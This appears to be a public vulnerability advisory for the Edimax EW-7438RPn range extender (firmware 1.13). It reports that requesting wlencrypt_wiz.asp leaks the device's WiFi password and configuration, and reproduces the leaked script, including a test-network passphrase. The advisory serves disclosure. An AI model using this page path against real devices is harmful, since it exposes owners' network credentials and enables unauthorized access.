Edimax ew7438rpn information disclosure (wifi password) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-04-22 | Type : webapps | Platform : hardware

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[+] Code ...

# Exploit Title: Edimax EW-7438RPn 1.13 - Information Disclosure (WiFi Password)
# Date: 2020-04-21
# Exploit Author: Besim ALTINOK
# Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/
# Version:1.13
# Tested on: Edimax EW-7438RPn 1.13 Version

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Here step by step :

1. I did Setup
2. After setup try to access to *wlencrypt_wiz.asp* file
3. After access to this file, I saw some information disclosure
(Like *WiFi Password*)
4. Here is the all leak here:

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<SCRIPT>
var _DATE_="Mon Sep 24 19:38:17 CST 2012";
var _VERSION_="1.13";
var _MODEL_="EW7438RPN";
var _MODE_="Edimax";
var _PLATFORM_="RTL8196CS_1200";
var _HW_LED_WPS_="4";
var _HW_LED_POWER_="6";
var _HW_LED_WIRELESS_="2";
var _HW_BUTTON_RESET_="5";
var _HW_BUTTON_WPS_="1";
var _HW_BUTTON_SWITCH_="3";
var _HW_LED_USB_="17";
var _WIRELESS_IGMPSNOOP_="y";
var _SPECIAL_CHAR_FILTER_IN_SCRIPT_="y";
var _RDISC_="y";
var _WPS_NO_BROADCAST_="y";
var _UPNP_LIB_VERSION2_="y";
var _WDS_UR_INFO_="y";
var _RESERVE_ENCRYPTION_SETTING_="y";
var _IGMP_PROXY_="y";
var _IGMPSNOOP_="y";
var _RFTYPE_="2T2R";
var _MEMBUS_="16";
var _MEMSIZE_="16";
var _MEMTYPE_="SDRAM";
var _FLASHTYPE_="SPI";
var _REMOVE_RADIUS_SERVER_="y";
var _AUTO_CHANNEL_DET_="y";
var _CONTROL_SIDEBAND_="y";
var _WIFI_11N_STANDARD_="y";
var _SETTING_WIZARD_="y";
var _CONFIG_FILE_NAME_="7438RPN";
var _AP_WITH_DNS_="y";
var _USE_DNRD_="y";
var _WPS_MIX_="y";
var _POWER_SAVING_="y";
var _WEB_FILE_NAME_="7438RPN";
var _PINCODE_BY_MAC_="y";
var _UPNP_RESPONDER_="y";
var _MDNS_RESPONDER_="y";
var _NETBIOS_RESPONDER_="y";
var _AP_WITH_DHCP_CLIENT_="y";
var _LLTD_NODENAME_="y";
var _DHCP_SWITCH_="y";
var _CONNECT_TEST_="y";
var _START_BOA_="y";
var _WPS_Daemon_="y";

var security = 1;
apMode = 6;
methodVal = 2;
opMode = 0;
apMachType = 1;

var ssidTbl = new Array("PentesterTraining");
var mirrorTbl = "";
var secModeTbl = new Array("2");
var enable1XTbl = new Array("0");
var _1xMode = "0";
var wepTbl = new Array("0");
var keyTypeTbl = new Array("1");
var wpaCipherTbl = new Array("2");
var pskFormatTbl = new Array("0");
var pskValueTbl = new Array("wifipass123.");
var defaultKeyIdTbl=new Array("0");
var rsIp= "";
var rsPort= "1812";
var rsPassword= "";


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Besim ALTINOK

*Security Engineer*